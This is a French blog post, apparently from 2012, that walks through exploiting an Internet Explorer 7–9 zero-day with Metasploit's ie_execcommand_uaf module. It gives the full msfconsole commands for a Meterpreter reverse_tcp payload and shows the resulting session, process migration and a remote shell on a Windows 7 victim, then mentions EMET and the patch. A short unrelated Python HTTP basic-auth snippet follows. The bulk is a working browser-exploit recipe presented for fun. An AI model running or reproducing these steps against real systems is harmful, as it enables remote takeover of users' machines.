Exploiter la 0day d'internet explorer avec Metasploit

Une nouvelle 0day touchant les versions 7 à 9 d'Internet Explorer a été publiée il y a peu : Internet Explorer touché par un exploit 0day

C'est l'occasion de s'amuser un peu avec Metasploit :
On télécharge l'exploit (il se trouve façilement sur le net, cherchez ie_execcommand_uaf) et on le glisse dans le répertoire "module" de metasploit. dans modules/exploits/windows/browser/ chez moi

une fois la console Metasploit lancée, on le sélectionne :
msf > use exploit/windows/browser/ie_execcommand_uaf

on spécifie le serveur ou sera hosté l'exploit :
msf  exploit(ie_execcommand_uaf) > set SRVHOST 192.168.0.198
SRVHOST => 192.168.0.198

même chose avec le payload. on prend meterpreter :
msf  exploit(ie_execcommand_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

ici, on donne l'ip du "serveur" meterpreter :
msf  exploit(ie_execcommand_uaf) > set LHOST 192.168.0.198
LHOST => 192.168.0.198

et on lance...
msf  exploit(ie_execcommand_uaf) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.198:4444 
[*] Using URL: http://192.168.0.198:8080/mYMNRKKhd
[*] Server started.

l'exploit crée un serveur web sur le serveur.
On passe sur la machine vulnérable, une Win7 SP1 avec IE 7, et on se rend sur la page http://192.168.0.198:8080/mYMNRKKhd depuis IE.
Si tout se passe bien, l'exploit fonctionne et vous devriez avoir quelquechose de semblable dans votre msfconsole :
[*] Sending stage (752128 bytes) to 192.168.0.198
[*] Meterpreter session 1 opened (192.168.0.198:4444 -> 192.168.0.198:32994) at 2012-09-20 20:52:12 +0200
[*] Session ID 1 (192.168.0.198:4444 -> 192.168.0.198:32994) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2312)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3232
[+] Successfully migrated to process 

On voit bien qu'il lance un notepad.exe avec un pid de 3232. L'exploit a donc fonctionné.
Du côté du PC de la victime, on voit les process se lancer à l'instant ou il se rend sur la page, ça correspond bien au pid plus haut (2312) :





Et finalement notepad.exe s'éxecute depuis le process iexplorer.exe :




De nouveau sur la machine de l'attaquant, on lance se connecte sur la session meterpreter : 
msf  exploit(ie_execcommand_uaf) > sessions -i 1
[*] Starting interaction with 1...

Et on lance un shell :
meterpreter > shell
Process 2740 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\Desktop>

Hop, on a notre remote shell.
Vous l'aurez compris, c'est particulièrement façile à faire. et ça touche pratiquement toutes les versions de windows...

Microsoft à tout d'abord proposé de télecharger son outil basé EMET qui doit permettre de détecter ce type d'intrusion.
Microsoft EMET
Je l'ai installé sur la machine et relancé l'exploit. Voici ce que m'indique l'outil alors que j'ai mon remote shell de lancé ! :


Bref, vous avez meilleur temps de télecharger le fix qui se trouve ici :
kb-2757760

à noter que la mise à jour automatique est prévue pour demain (Vendredi) :
internet-explorer-fix-it-available-now-security-update-scheduled-for-friday

Analyse technique de la 0day : blog.vulnhunt.com

Authentification HTTP en Python

Petite astuce pour passer une authentification HTTP en python :
Notez qu'il est nécessaire d'avoir les modules urllib2 et base64 .
 
import urllib2, base64 
 
username = "myUsername"
password = "myPassword"
 
request = urllib2.Request("http://google.com/")
stringb64 = base64.encodestring(username+":"+password)
request.add_header("Authorization", "Basic "+stringb64)
result = urllib2.urlopen(request)

result.info() # Affiche la réponse du serveur
result.read() # Affiche le contenu  renvoyé

Notez que les champs contenus dans username et password sont passés en clair, il n'y a aucun cryptage si vous n'utilisez pas de HTTPS. Plus d'info : http://docs.python.org/library/urllib2.html